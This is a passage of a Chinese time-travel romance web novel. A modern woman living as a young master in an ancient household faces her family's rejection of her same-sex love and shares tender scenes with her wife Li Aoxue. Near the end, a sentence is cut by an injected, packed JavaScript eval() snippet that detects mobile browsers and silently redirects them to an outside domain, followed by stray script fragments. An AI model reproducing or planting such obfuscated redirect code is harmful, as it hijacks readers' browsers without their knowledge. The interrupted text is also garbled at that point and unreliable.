宾客们面面相觑,纷纷露出尴尬的神情。肖晨在一旁看着,心中很不是滋味。他知道母亲这是故意刁难李傲雪,心中对母亲的做法有些不满,但又不好在众人面前发作。 待李傲雪匆匆去厨房重新安排菜品后,肖晨找了个借口,来到厨房。看到李傲雪正焦急地指挥着厨师重新做菜,他心疼地走上前,握住她的手:“傲雪,辛苦你了,母亲她太过分,故意为难你。” 李傲雪眼中闪着泪花,强颜欢笑道:“少爷,没事的,这是儿媳应该做的。母亲也是为了府里的颜面,只是我确实没做好。” 肖晨轻轻拭去她眼角的泪花,说道:“你已经做得很好了,是母亲太苛刻。等家宴结束,我定会和母亲好好说一说,不能再让你受这样的委屈。” 李傲雪感激地看着肖晨,微微点头。两人一起在厨房忙碌着,尽快将新的菜品准备好,送回宴席。而另一边,肖母看着李傲雪离开的背影,眼中闪过一丝得意,暗暗想着:“看你这次还怎么在府里立足,敢跟我儿子告状,这只是个开始。” 家宴好不容易结束,送走宾客后,肖晨立刻来到母亲房里。他脸色凝重,语气带着一丝不满:“母亲,今日家宴上您为何要如此刁难傲雪?她已经为这场家宴尽心尽力了。” 肖母坐在椅子上,脸色一沉:“晨儿,我这是在教导她如何管家,让她知道做事要严谨。她若是连这点事都承受不了,以后如何掌管咱们这一大家子?” 肖晨眉头紧皱,说道:“母亲,傲雪她一直都很努力,您平日里对她的要求已经够高了。今日在众人面前这般指责她,实在让她难堪。” 肖母看着儿子为李傲雪说话,心中有些不悦:“晨儿,你莫要被她的表象所迷惑。自从她进了咱们家门,你便处处向着她,为娘说她几句都不行了?” 肖晨深吸一口气,尽量让自己的语气平和些:“母亲,傲雪是我的妻子,我自然希望她能在咱们家过得舒心。她对我情深意重,对这个家也全心全意,还望母亲能多体谅她一些。” 肖母听了儿子的话,沉默片刻,缓缓说道:“晨儿,为娘知道你心疼她。可你要明白,咱们家有咱们家的规矩,她作为儿媳,理应遵守。为娘只是想让她变得更好,能帮你分担更多。” 肖晨见母亲态度有所缓和,便趁热打铁:“母亲,我明白您的苦心。但傲雪她还年轻,有些事需要慢慢来。往后还请母亲能多给她一些时间和包容,有什么问题,咱们私下里好好教导她,莫要再像今日这般,让她在众人面前下不来台。” 肖母微微点头:“罢了,看在你如此维护她的份上,为娘以后会注意的。但她也得更加用心,莫要再让我抓到把柄。” 肖晨心中一喜,赶忙说道:“多谢母亲。傲雪她一定会更加努力的。” 从母亲房里出来后,肖晨立刻去找李傲雪。此时李傲雪正独自一人坐在房里,神情有些落寞。肖晨心疼地走上前,将她拥入怀中:“傲雪,让你受委屈了。我已经和母亲谈过了,她以后会注意的。” 李傲雪靠在肖晨怀里,轻声说道:“少爷,我知道您为我好。其实母亲说的也有道理,我确实还有很多不足的地方。只是今日在众人面前,我……”说着,她的声音渐渐哽咽。 肖晨轻轻抚摸着她的头发,安慰道:“傲雪,你已经做得很好了。不要给自己太大压力,有我在,不会再让你受委屈。以后若母亲再为难你,一定要告诉我,咱们一起面对。” 李傲雪微微点头,心中满是感动。经过这件事,她和肖晨之间的感情愈发深厚,两人相互扶持,共同面对这个家中的风风雨雨。而肖母虽然表面上答应了肖晨,但心中对李傲雪的芥蒂并未完全消除,只是暂时收敛了自己的行为,暗中观察着李傲雪的一举一动,这也让李傲雪在府中的生活,依旧充满了未知的挑战…… 忙了一天的两人回到房间,肖晨看着房间里李傲雪的画,他在想下次回到现代看看父母。反正他已经掌握了方法。李傲雪看着他在盯着自己的画,心里有点羞涩,以为他是睹物思人,想要时时刻刻看见自己。 肖晨回过神来,察觉到李傲雪羞涩的神情,心中一动,却没有急着解释自己思绪飘向现代的事。他走到李傲雪身边,轻轻牵起她的手,笑着说:“傲雪,你的画如此生动,每次看到都觉得仿佛能看到画里的灵魂,就像看到了你一样。” 李傲雪脸颊绯红,低垂着眼眸,轻声说道:“少爷喜欢便好,我的画像没想到能入少爷的眼。” 肖晨凝视着李傲雪,心中满是温柔,可想到现代的父母,又不禁泛起一丝惆怅。他犹豫片刻,还是决定将心中所想告诉李傲雪:“傲雪,有件事我想跟你说。我……我掌握了回到我来的那个地方的方法,我想回去看看我的父母。” 李傲雪闻言,心中猛地一紧,抬头看向肖晨,眼中满是惊讶与担忧:“少爷,您要回去?那……那您还会回来吗?” 肖晨赶忙将李傲雪拥入怀中,安抚道:“傲雪,你放心,我一定会回来的。那是生我养我的地方,我只是放心不下父母,想回去看看他们是否安好。我在这里有你,有我们共同的生活,怎么可能舍得不回来。” 李傲雪在肖晨怀中微微颤抖,声音带着一丝哽咽:“少爷,我明白您思念父母,只是……只是我害怕,害怕您这一去,就再也不回来了。” 肖晨轻轻捧起李傲雪的脸,认真地看着她的眼睛,说道:“傲雪,你在我心中的地位无人能及。我向你保证,我一定会回来,回到你身边。等我见过父母,处理好那边的事,便立刻回来与你长相厮守。” 李傲雪眼中泪光闪烁,微微点头:“少爷,既然您心意已决,我便支持您。只是您一定要早日归来,我会每日都盼着您。” 肖晨紧紧抱住李傲雪,仿佛要将她的模样刻入心底:“傲雪,我不在的日子里,你要照顾好自己。等我回来,我们一起度过更多美好的时光。” 李傲雪对肖晨说到:我要是跟你一起回去,少爷的父母会接受我吗?他不能告诉她自己的性别。 肖晨心中一阵慌乱,面对李傲雪的询问,一时不知该如何作答。他深知现代父母的观念,自己与李傲雪回去,父母定会震惊不已,更别提接受李傲雪了。 看着李傲雪眼中的忐忑与不安,肖晨满心愧疚,急忙说道:“傲雪,不是这样,我的父母……他们生活的地方与这里大不相同,有很多复杂的规矩。但绝不是嫌弃你,你善良温柔,任何人都会喜欢你的。” 李傲雪微微皱眉,眼中仍有疑虑:“可少爷您都这般犹豫,是不是有什么难言之隐?若真的会给少爷和您的父母添麻烦,那……那我还是不去了。”说着,她低下头,神色有些落寞。 肖晨心疼地握住李傲雪的手,说道:“傲雪,你别多想。只是那边的一切都太过陌生,我怕你去了会不适应,会吃苦。我不想让你受任何委屈。” 李傲雪抬起头,眼中满是坚定:“少爷,只要能和您在一起,吃苦我也不怕。我只是担心您的父母不喜欢我,怕因为我让您为难。” 肖晨轻轻叹了口气,将李傲雪揽入怀中,思索片刻后说道:“傲雪,这样吧,此次我先回去,和父母说明我们的情况,让他们有个心理准备。等他们了解你之后,我再来接你,那时大家相处起来也会容易些,你看可好?” 李傲雪在肖晨怀中想了想,觉得这个办法似乎可行,便微微点头:“好吧,少爷。那您此去一定要早日归来,也代我向二老问好。” 肖晨抱紧李傲雪,说道:“放心吧,傲雪。我定会尽快回来。这段时间你在府里,要好好照顾自己,等我回来,我们便再也不分开。” 李傲雪应了一声,心中虽仍有些担忧,但还是选择相信肖晨的安排。肖晨一脸严肃地看着李傲雪,双手轻轻搭在她的肩头,郑重其事地说道:“傲雪,这件事你千万不能跟任何人说,包括府里的下人,还有其他亲近之人。那边的规矩和咱们这儿大不一样,要是消息走漏了,恐怕会生出许多麻烦。” 李傲雪见肖晨神情如此凝重,心中一凛,赶忙点头应道:“少爷放心,我嘴巴严实,定不会跟旁人透露半个字。” 肖晨暗暗松了口气,心中却又涌起一阵愁绪。他深知,一旦回到现代,向父母坦白自己如今与李傲雪的关系,父母必定难以接受同性恋这一事实。且不说父母那一辈思想保守,单是社会舆论压力,就足以让这个家陷入混乱。 李傲雪见肖晨又陷入沉思,脸上满是忧虑之色,忍不住轻声问道:“少爷,您是不是又在担心伯父伯母不接受我?其实您也别太忧心,若是他们真的不喜我,我……我也不会强求。只要 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刹那间,房间内光芒一闪,一道耀眼却柔和的光束凭空出现。那光芒仿佛拥有着神秘的力量,将肖晨整个人笼罩其中。随着光芒闪烁,肖晨只觉一阵天旋地转,意识逐渐模糊。 当肖晨再次恢复清晰的意识时,发现自己的灵魂已然回到了现代的出租屋内,重新回到了自己原本的身体里。他环顾着熟悉又有些陌生的房间,各种现代的物品映入眼帘,心中五味杂陈。墙壁上贴着的海报、杂乱摆放的书籍,还有那充满科技感的电子设备,都与刚刚离开的古代世界形成了鲜明的对比。 肖晨坐在床边,一时有些怔愣,脑海中不断浮现出李傲雪的面容。他深知,接下来要面对的,是向父母坦白一切,以及说服他们接受自己在古代的这段感情,这无疑是一场艰难的挑战。 回到现代的肖晨美美地睡了一觉,连日来在古代的奔波让他身心俱疲,这一觉睡得格外香甜。第二天清晨,阳光透过窗户轻柔地洒在脸上,他悠悠转醒,简单洗漱后,便迫不及待地踏上回家的路。 刚到家门口,还没来得及敲门,门就“吱呀”一声开了,肖父肖母的笑脸出现在眼前。看到自己的女儿归来,二老眼中满是惊喜与欣慰,肖母更是眼眶泛红,赶忙把肖晨拉进屋里。 “宝贝女儿,你可算回来了,这段时间跑哪去了,也不跟家里说一声,可把我们担心坏了。”肖母一边念叨,一边上下打量着肖晨,生怕她瘦了累了。 肖晨看着父母关切的面容,心中一阵温暖,却又隐隐有些愧疚。笑着说道:“爸妈,我这不是好好的嘛,就是出去散散心,之前工作压力太大了。” 肖父笑着拍了拍肖晨的肩膀:“回来就好,回来就好。你妈这段时间天天念叨你,这下总算是放心了。” 一家人坐在沙发上,肖晨看着父母熟悉的面容,几次想要开口说出自己在古代的经历,以及和李傲雪的感情,可话到嘴边又咽了回去。他深知,这个话题太过震撼,父母一时半会儿恐怕难以接受。 肖母似乎察觉到肖晨有心事,关切地问道:“晨晨,你是不是有什么事想跟我们说啊?感觉你这次回来,好像有点不一样了。” 肖晨深吸一口气,鼓起勇气说道:“爸妈,我……我确实有件事,不知道该怎么跟你们说。”肖父肖母对视一眼,眼中满是疑惑,静静地等着肖晨开口。 肖晨咬了咬牙,鼓足勇气说道:“爸妈,我爱上了一个女孩,我想要跟她在一起。”话一出口,仿佛心中一块巨石落了地,但紧接着又被紧张和不安填满。 肖父肖母听到这话,脸色瞬间变得凝重起来。还没等肖晨把话说完,肖父就皱着眉头,语气坚决地打断道:“这不行!孩子,你怎么能这样子呢!从古至今,阴阳结合才是正道,这是自然规律,也是社会常理。” 肖母的眼眶瞬间红了,焦急地说道:“晨晨,你是不是遇到什么事了,怎么会有这种想法?可别胡思乱想啊,咱们可不能走这条路。要是让亲戚朋友、街坊邻居知道了,我们这老脸都没地方搁,以后还怎么抬头做人。”说着,她紧紧握住肖晨的手,仿佛这样就能把自己的观念传递给女儿。 肖晨心中一阵刺痛,她看着父母着急又不理解的模样,试图解释:“爸妈,爱情不应该分性别,我爱她,她也爱我,我们在一起很幸福。这不是一时冲动,也不是胡思乱想。” 肖父气得站起身来,在客厅里来回踱步:“不行,绝对不行!这不是幸福,这是错的!我们是为了你好,你不能毁了自己的人生。实在不行,我们明天就带你去医院看看,是不是心理上出了什么问题。” 肖晨也站起身,眼中满是倔强与坚持:“爸妈,我很清醒,我没有心理问题。我爱她,这不是病。我希望你们能理解我,接受她。” 客厅里气氛紧张到了极点,肖晨和父母各执一词,互不相让。父母的不理解,让肖晨感到无比痛苦,但她又深知改变父母的观念绝非易事,一场艰难的沟通与磨合,才刚刚开始。 肖父肖母一脸忧虑,肖母拉着肖晨的手,语重心长道:“女儿啊,咱们就是普通人家,得按常理过日子。你想想,这社会主流观念在那儿摆着呢,大多数人都接受不了同性之间的感情。国家也不承认同性婚姻,这就说明这种事不符合大众认知啊。” 肖父也在一旁附和:“是啊,晨晨。你知道南康白起吧,他的遭遇多让人心疼,最后落得那样的结局。你要是走这条路,以后指不定会吃多少苦,受多少委屈。我们是你爸妈,都是为你好,不想看你将来受苦。” 肖晨心中一阵酸涩,她明白父母是出于关心,但他们的固执也让自己难受。深吸一口气,肖晨缓缓说道:“爸妈,南康白起的事我知道,他的经历确实让人心痛。可这并不意味着所有同性恋人都会有那样的结局啊。时代在发展,观念也在慢慢改变,越来越多人开始理解和尊重同性群体了。” 肖母着急地摇头:“就算观念在变,可现在大多数人还是接受不了。你要是坚持,以后的路得多难走,周围人的眼光、舆论压力,你能承受得住吗?我们就你这么一个女儿,只希望你能平平安安、顺顺利利地过日子。” 肖晨眼眶泛红,握住母亲的手:“妈,我知道你们担心我,可爱情是无法控制的。我爱她,这种感情很纯粹。我相信只要我们坚定,就能面对那些压力。而且,我也希望通过自己,让你们看到同性之间的爱情同样真挚美好。” 肖父气得面色涨红,手指颤抖地指着肖晨,厉声道:“你要是现在能打消这个荒唐念头,我们还能陪你去医院好好看看,把你这错误的想法纠正过来。可你要是再这样执迷不悟下去,我们……我们就只能跟你断绝关系!我们丢不起这个人,不能天天承受别人异样的眼光!” 肖母早已泣不成声,瘫坐在沙发上,哀戚地望着肖晨,哽咽道:“晨晨,你就听爸妈一句劝吧,别再犟了。我们含辛茹苦把你养大,不盼着你大富大贵,就想你能走条正常的路,安稳生活。你这样,让我们以后怎么见人啊……” 肖晨如遭雷击,呆呆地站在原地,泪水在眼眶里打转。她没想到父母的态度竟如此决绝,心中满是痛苦与无奈。“爸妈,”她声音颤抖,“这不是荒唐的念头,这是我的真心。我不想失去她,也不想失去你们。难道在你们心里,别人的眼光比我的幸福还重要吗?” 肖父别过脸去,不愿再看肖晨,冷冷道:“你若继续执迷不悟,就别再认我们这对父母。我们没你这样的女儿!”说罢,转身走进房间,“砰”的一声,房门重重关上,那声响仿佛撞在肖晨的心上,震得她的心一阵刺痛。 肖晨望着紧闭的房门,又看看泪流满面的母亲,满心的悲戚与无助。她不明白,为何自己追求幸福的道路,会遭遇如此巨大的阻碍,亲情与爱情,难道真的不能两全吗? 28. 不被世俗接纳的爱 肖晨满心失落,深知父母一时半会儿难以接受自己的感情,无奈之下,她只能黯然回到出租屋。一进屋,她便呆呆地望着墙上李傲雪的画像,自责与挫败感如潮水般将她淹没,觉得自己实在太过没用,连最亲近的父母这一关都过不了。 在极度的苦闷中,她拿起手机,给好友子涵发了条微信,倾诉自己心中的烦忧。子涵收到消息后,深知肖晨此刻必定心情糟糕透顶,立马回复说在老地方咖啡馆见面。 不多时,两人在咖啡馆碰面。肖晨看着子涵熟悉而关切的面容,心中一阵暖流涌动,却又不知从何说起。犹豫片刻,她还是选择隐瞒穿越的离奇经历,只是红着眼,轻声说道:“子涵,我爱上了一个女子。” 子涵微微一愣,不过很快便恢复镇定,他静静地看着肖晨,眼中没有一丝惊讶与异样,只是充满了理解与关切。“然后呢?”子涵轻声问道,语气柔和,仿佛生怕惊扰到肖晨脆弱的情绪。 肖晨深吸一口气,将父母激烈反对,甚至以断绝关系相逼的事缓缓道出。说到动情处,泪水忍不住夺眶而出。“我不知道该怎么办了,子涵。我爱她,可我也不想失去父母。”肖晨声音颤抖,满心的痛苦与纠结。 子涵轻轻叹了口气,伸手递过一张纸巾,安慰道:“肖晨,别太难过。父母的观念一时难以转变,这确实很棘手。但爱情是你自己的,你得为自己的幸福争取。或许我们可以想些办法,慢慢让叔叔阿姨接受这件事。” 肖晨接过纸巾,擦了擦眼泪,无助地问道:“能有什么办法呢?他们态度太坚决了。” 子涵轻轻叹了口气,继续说道:“肖晨,我是真的理解你,知道你对这份感情是认真的。可是,咱们得面对现实呀,社会舆论这关不好过。大多数人的观念还是比较传统的,一旦你公开这段感情,难免会遭受各种议论和异样的眼光。” 她顿了顿,目光担忧地看着肖晨,“你自己要想想能不能承受得住这些。而且,不只是你,对方呢?她也得面对同样的压力,你确定她也能坦然接受这一切吗?” 肖晨咬着嘴唇,眼神中闪过一丝痛苦与挣扎。其实这些她也想过,只是一直不愿去面对。“我……我知道会有压力,可我真的不想因为这些就放弃她。至于她,我们之前聊过,她也说愿意和我一起面对。但我现在心里还是没底,不知道该怎么去应对这一切。” 子涵握住肖晨的手,安慰道:“我明白你的决心,可这不是小事,得慎重考虑。或许可以先观察一段时间,看看父母那边有没有缓和的余地,同时也再和她深入聊聊未来要面对的困难,确保你们都做好了充足的准备。无论你做什么决定,我都会支持你的。” 肖晨微微点头,心中五味杂陈。子涵的话虽然残酷,却也让她更加清醒地认识到现实的严峻。 子涵神色凝重,语重心长地继续劝道:“肖晨,你回去之后,真得好好想想我说的话。咱们终究是生活在社会这个大环境里,个人的力量太过渺小,根本没法跟整个社会的固有观念对抗。” 她轻轻摇头,一脸无奈,“除非你们两人能达成共识,一辈子都不公开这段特殊的感情,在其他人面前,就以姐妹的身份相处。这样或许能避免很多不必要的麻烦,也能让你们的生活稍微平静一些。” 肖晨眼神空洞地望着窗外,脑海里一片混乱。子涵的提议看似是个能维持现状的办法,可这意味着要永远隐藏自己的真心,像活在阴影里一般。“以姐妹相处……可这不是自欺欺人吗?我们明明相爱,却要装作只是普通姐妹,这种日子,真的能幸福吗?”她喃喃自语,声音里满是迷茫与不甘。 子涵心疼地看着肖晨,轻声说道:“我知道这对你来说很残忍,可现实就是如此。公开你们的感情,要面临的压力太大了,不只是来自社会舆论,还有双方的家庭。你得想清楚,为了这份爱,你愿意付出多大的代价。” 肖晨收回目光,看着子涵,眼中泪光闪烁:“子涵,我真的好难抉择。我爱她,想光明正大地和她在一起,可又害怕失去父母,害怕面对那些未知的压力。” 子涵轻轻抱住肖晨,拍了拍她的背:“别太着急做决定,给自己点时间。无论你最后怎么选,我都会在你身边的。”肖晨靠在子涵肩上,泪水忍不住流了下来。此刻的她,被现实的困境压得喘不过气,不知该何去何从。 肖晨与子涵告别后,满心的纠结与无助。一路上,她绞尽脑汁,却始终想不出如何才能做通父母的工作。无奈之下,她只能回到出租屋。 一进屋,她的目光便落在墙上李傲雪的画像上。她缓缓走到床边,看着画像中李傲雪温婉的模样,心中五味杂陈。随后,她疲惫地躺下,轻轻闭上眼,嘴里默默念起“520”。 瞬间,熟悉的光芒再次闪现,肖晨只觉一阵天旋地转,意识逐渐模糊。当她再次恢复意识时,已回到了古代的房间。 李傲雪一直守在床边,见肖晨很快悠悠转醒,眼中满是惊喜与担忧,赶忙凑上前,轻声问道:“少爷,您可算醒了,您在那边……一切可好?”她的眼神中写满关切,紧紧盯着肖晨,仿佛要从他的神情中探寻答案。 肖晨看着李傲雪那满含期待的眼神,心中一阵刺痛,缓缓开口道:“傲雪,我的父母……他们没有办法接受你,不同意我们在一起。”话一出口,他便别过头去,不敢直视李傲雪的眼睛,同时隐瞒了自己在现代身为女子的事实。 李傲雪听闻此言,脸色瞬间变得煞白,身子微微颤抖起来。她嘴唇动了动,半晌才挤出一句话:“少爷,为何……为何伯父伯母不愿接受我?是我哪里做得不好吗?”说着,眼眶已泛起泪花。 肖晨急忙握住李傲雪的手,安抚道:“傲雪,你别多想,你没有任何错处。只是他们生活的地方,观念与这里大不相同,对于我们这样的感情,他们一时难以接受。” 李傲雪轻轻抽回手,泪水夺眶而出,哽咽着说:“少爷,我知道您为难。可我……我真的好害怕失去您。难道,我们真的没有办法在一起了吗?” 肖晨看着李傲雪如此伤心,心如刀绞,赶忙将她拥入怀中,说道:“傲雪,你放心,我不会放弃的。我定会想办法说服他们,让他们接受你。给我些时间,好不好?” 李傲雪在肖晨怀中哭泣许久,才渐渐平复情绪,微微点头:“少爷,我等您。只是,您要快些,我怕……怕时间久了,会生变故。” 肖晨抱紧李傲雪,坚定地说:“傲雪,相信我。无论如何,我都不会辜负你。下次,我回去定会好好与父母沟通,争取早日让他们认可我们。” 李傲雪抬起满是泪痕的脸,眼中仍残留着深深的恐惧与担忧,嗫嚅着:“少爷,若是伯父伯母始终不肯接受我这个儿媳,那该如何是好?”她紧紧抓住肖晨的衣袖,仿佛那是她此刻唯一的依靠。 肖晨看着李傲雪楚楚可怜的模样,心中柔情与坚定交织,毫不犹豫地说道:“傲雪,倘若真到了那一步,我便留在这里生活,从此与你长相厮守,永不分离。”他轻轻为李傲雪拭去脸上的泪水,目光中满是深情与决然。 李傲雪微微一怔,眼中闪过一丝惊喜与感动,随即便又被忧虑填满:“少爷,您……您真的愿意为了我,放弃那边的一切吗?那可是您生长的地方,还有您的父母……我不想因为我,让您与他们分离,更不想让您为难。” 肖晨将李傲雪搂得更紧,认真地说道:“傲雪,你在我心中的分量,丝毫不亚于我的父母。若两边实在无法两全,我定不会让你伤心难过。我知道这对父母而言很残忍,但我也不能失去你。” 李傲雪靠在肖晨怀里,心中百感交集。一方面,她为肖晨愿意为自己做出如此重大的牺牲而感动不已;另一方面,又因可能造成肖晨与家人分离而深感愧疚。“少爷,您对我这般深情,我……我无以为报。只愿您再好好想想,或许还有其他法子,能让伯父伯母接受我们。” 肖晨点头,轻声说道:“我会再努力试试的,傲雪。无论如何,我们都要一起面对,未来的路,不管多艰难,我都不会松开你的手。” 李傲雪仰起头,目光中透着坚韧与温柔,轻声却又坚定地说道:“少爷,我也绝不会离开您。但我同样不能眼睁睁看着您忤逆父母,让您陷入两难之境。倘若伯父伯母始终不肯接受我这个儿媳,我……我愿意好好孝敬他们,用真心去打动他们,总有一天,定要得到他们的认可。” 肖晨心中一暖,看着李傲雪,满是感动与心疼。他轻抚着李傲雪的发丝,说道:“傲雪,你总是这般善良懂事,处处为我着想。只是这条路必定艰难,你……真的做好准备了吗?” 李傲雪重重点头,眼神中满是决然:“少爷,我心意已决。只要能和您在一起,再艰难我也不怕。我相信,人心都是肉长的,只要我真心对待伯父伯母,他们终会看到我的诚意。” 肖晨紧紧握住李傲雪的手,仿佛要将自己的力量传递给她:“傲雪,有你相伴,是我此生最大的幸运。若真走到那一步,我们便一同努力,我相信,父母定会被你的真心所打动。” 李傲雪微微颔首,脸上浮现出一丝浅浅的笑容,尽管眼中还残留着泪花,但此刻的她,因心中有了坚定的信念,显得格外勇敢。 肖晨心中思绪如麻,暗自思忖着:若真将傲雪带回现代,自己在那边本是女儿身,这身份转换后该如何与她相处?虽说傲雪爱的是自己的灵魂,可当她面对与如今截然不同的女性身体时,她真的能坦然接受吗?万一她无法接受,又该如何是好? 种种担忧在肖晨心头翻涌,经过一番痛苦的挣扎,他还是决定隐瞒自己现代的真实性别,就在这古代与傲雪好好生活下去。毕竟,这里有他与傲雪共同经历的点点滴滴,有一份真挚且深厚的感情。而且,在现代面临的诸多难题,尤其是身份差异带来的冲击,实在难以预料后果。 想到这里,肖晨看向李傲雪,眼中满是温柔与坚定。他轻轻握住李傲雪的手,说道:“傲雪,既然如此,我们便在这好好生活。往后的日子,无论遇到何事,我都不会再让你受委屈。” 李傲雪紧紧拉住肖晨的手,眼中满是担忧与不舍,声音带着一丝颤抖说道:“少爷,你要是决定留在这里生活,下次就不要回去了好吗?万一伯父伯母舍不得你,不让你再来了,我……我该怎么办呀?”她的眼神中透露出深深的恐惧,生怕会与肖晨分离。 肖晨看着李傲雪如此害怕的模样,心疼不已,轻轻将她拥入怀中,安慰道:“傲雪,别怕。我既已决定留下,就不会轻易再离开。就算回去,我也定会想办法回到你身边。父母虽一时难以接受我们,但他们也不愿看到我伤心难过。相信我,我不会让你陷入那样的境地。” 李傲雪在肖晨怀中微微点头,可心中的担忧仍未完全消散:“少爷,我知道您会尽力,可我还是忍不住担心。您不知道,您离开的这段时间,我一直都提心吊胆,就怕您不再回来。” 肖晨轻轻抚摸着李傲雪的背,温柔地说道:“傲雪,是我不好,让你如此担惊受怕。以后不会了,我会一直陪在你身边。我们就在这里,一起过安稳的日子。”他抱紧李傲雪,仿佛要用行动向她证明自己的决心。 李傲雪抬起头,泪眼汪汪地看着肖晨:“少爷,您若能一直陪着我,便是我此生最大的幸福。 肖晨凝望着李傲雪,眼中爱意如潮,再也按捺不住内心的深情,缓缓凑近,轻轻吻上了她的唇。李傲雪微微一颤,随即闭上双眼,热烈回应着这份爱意。 两人的唇瓣交织,仿佛时间都在此刻静止。他们吻得难舍难分,彼此都沉浸在这炽热的情感中,仿佛整个世界只剩下对方的气息。这份爱意在唇齿相依间肆意蔓延,不想放开彼此,只想让这一刻永恒,将彼此的深情通过这个吻烙印在灵魂深处。 就在肖晨和李傲雪沉浸在热吻之中时,房门毫无预兆地“吱呀”一声被推开。肖母满脸笑意地站在门口,本想说些什么,却瞬间愣住,紧接着打趣道:“哟,我这来的可真不是时候,你们继续啊,早点让我抱孙子。” 肖晨和李傲雪如遭雷击,瞬间分开,两人的脸“唰”地一下红到了耳根。李傲雪又羞又窘,连忙低下头,恨不得找个地缝钻进去。肖晨也尴尬得不知所措,结结巴巴地喊了声:“母亲……您怎么突然就进来了。” 肖母捂嘴轻笑,眼中满是促狭:“瞧你们这害羞的模样,我这不是看你们感情好,心里高兴嘛。早点成家,给我生个大胖孙子,我这老太婆啊,也就心满意足咯。”说罢,她佯装要退出去,还不忘回头眨眨眼,“你们继续,我就不打扰啦。” 肖晨无奈地看着母亲,心中又好气又好笑。待母亲关上门后,他转头看向李傲雪,两人对视一眼,忍不住笑出声来,刚刚的尴尬在这笑声中渐渐消散。 肖晨红着脸,有些不好意思地挠挠头说道:“看来咱们以后可得多注意些,不能这般忘情,差点就出丑了。” 李傲雪轻轻颔首,脸颊依旧绯红,轻声应道:“少爷说的是。要是刚刚让丫鬟们看到,那可就太羞人了,还好这次进来的是母亲。”她用手轻轻捋了捋耳边的发丝,眉眼间还残留着方才的羞涩。 肖晨看着李傲雪娇羞的模样,忍不住又伸手握住她的手,调侃道:“今日算是个教训,往后我们行事确实得更加谨慎,可不能再这般大意,平白让人看了笑话。” 李傲雪微微点头,含情脉脉地看着肖晨,轻声说道:“嗯,一切都听少爷的。只是……只是刚刚与少爷相处,情不自禁便……”她声音越来越小,头也愈发低垂,那模样愈发显得娇俏可爱。 肖晨笑着将李傲雪轻轻拥入怀中,柔声道:“我又何尝不是,见你如此动人,便失了分寸。但你放心,往后我定会注意,不会再让你陷入这般尴尬境地。” 肖晨面带微笑,凑近李傲雪,轻声说道:“你这般动人,之前做的那几件睡衣实在别致,往后晚上穿与我瞧便好。今日我无需去读书,正好到外面看看家中店铺,免得母亲又胡思乱想。等到了晚上,咱们……”他说着,眼中闪过一丝温柔与期待。 李傲雪脸颊泛红,轻轻点头,小声嗔怪道:“少爷就会打趣我。那我便依着您,晚上穿与您看。您出去忙正事,可要早些回来。” 肖晨宠溺地刮了刮李傲雪的鼻子,说道:“放心,我心里有数,定会早早归来。”说罢,他整理了一下衣衫,便出门去查看店铺,满心期待着夜晚与李傲雪的相聚。 肖晨出门后,穿梭在热闹的街市中。他一边走,一边思索着店铺的经营状况。路过自家绸缎庄时,他停下脚步,进店与掌柜仔细交谈,了解近期的生意行情、货物进出,还对陈列布局提出了一些改进的想法。 从绸缎庄出来,肖晨又去了米铺。他与伙计们一一打过招呼,询问了粮食的采购渠道和价格波动情况。看着店铺里人来人往,生意还算兴隆,他心中稍感欣慰,觉得父母多年的经营确实打下了不错的基础。 忙碌了大半天,太阳渐渐西斜,天边染上了一抹绚丽的晚霞。肖晨估摸着时间,加快了脚步往家赶。一路上,他脑海里不断浮现出李傲雪温婉的模样,想象着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993189|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上穿上睡衣的娇羞姿态,嘴角不自觉地上扬。 回到家中,天色已暗。肖晨匆匆洗漱过后,便直奔自己和李傲雪的房间。还未进门,他便闻到了屋内传来的淡淡熏香。轻轻推开门,只见屋内烛火摇曳,李傲雪身着那件精致的睡衣,正坐在床边,手中拿着一本诗集,借着烛光静静阅读。 听到开门声,李傲雪抬起头,目光与肖晨交汇,脸颊瞬间泛起红晕。她连忙起身,迎向肖晨,轻声说道:“少爷,您可算回来了,今日外出可还顺利?” 肖晨走上前,握住李傲雪的手,笑着说:“一切都好,店铺的生意也都平稳。只是这一天没见你,心里想得紧。”说着,他的目光在李傲雪身上打量,那件睡衣剪裁合身,恰到好处地勾勒出她曼妙的身姿,烛光下,更添几分妩媚。 李傲雪被肖晨看得有些不好意思,微微低下头,轻声嗔怪道:“少爷又打趣我了。”肖晨将她轻轻拥入怀中,柔声道:“我哪里是打趣,我说的可都是真心话。你今日这般美丽,实在让我心动不已。” 李傲雪微微仰头,双颊似染胭脂,眼眸含情脉脉,轻声说道:“少爷喜欢,我,我就每天晚上穿给你看好了。”她声音轻柔,带着几分羞涩与娇嗔,仿佛说出这话用尽了全身的勇气。 肖晨听了,心中满是欢喜与感动,他抱紧李傲雪,在她额头轻轻一吻,柔声道:“傲雪,你这般贴心,真真是让我不知如何疼惜才好。有你相伴,实乃我此生之幸。” 李傲雪依偎在肖晨怀里,感受着他的温暖与爱意,心中满是甜蜜。两人就这样静静相拥了许久,仿佛时间都为他们停留。 过了一会儿,肖晨松开李傲雪,拉着她的手走到床边坐下。他拿起桌上的茶壶,为两人各倒了一杯茶,递了一杯给李傲雪,说道:“奔波了一天,喝口茶润润喉。” 李傲雪接过茶杯,轻抿一口,茶香在口中散开,让人心神舒畅。她看着肖晨,眼中满是关切,问道:“少爷今日外出查看店铺,可发现了什么问题?” 肖晨微微皱眉,思索片刻后说道:“绸缎庄的货物种类还需再丰富些,以迎合不同顾客的喜好。米铺那边,采购渠道虽稳定,但价格上若能再谈下一些,利润便能多几分。不过这些都不是难事,慢慢调整便是。” 李傲雪认真听着,轻轻点头,说道:“少爷心思缜密,定能将家中生意打理得越来越好。若有需要我帮忙的地方,少爷尽管开口,我也想为这个家出份力。” 肖晨看着李傲雪,眼中满是赞赏,说道:“有你这话,我便安心许多。你若能帮我出出主意,那自然是再好不过。往后咱们夫妻二人携手,定能让家中诸事顺遂。” 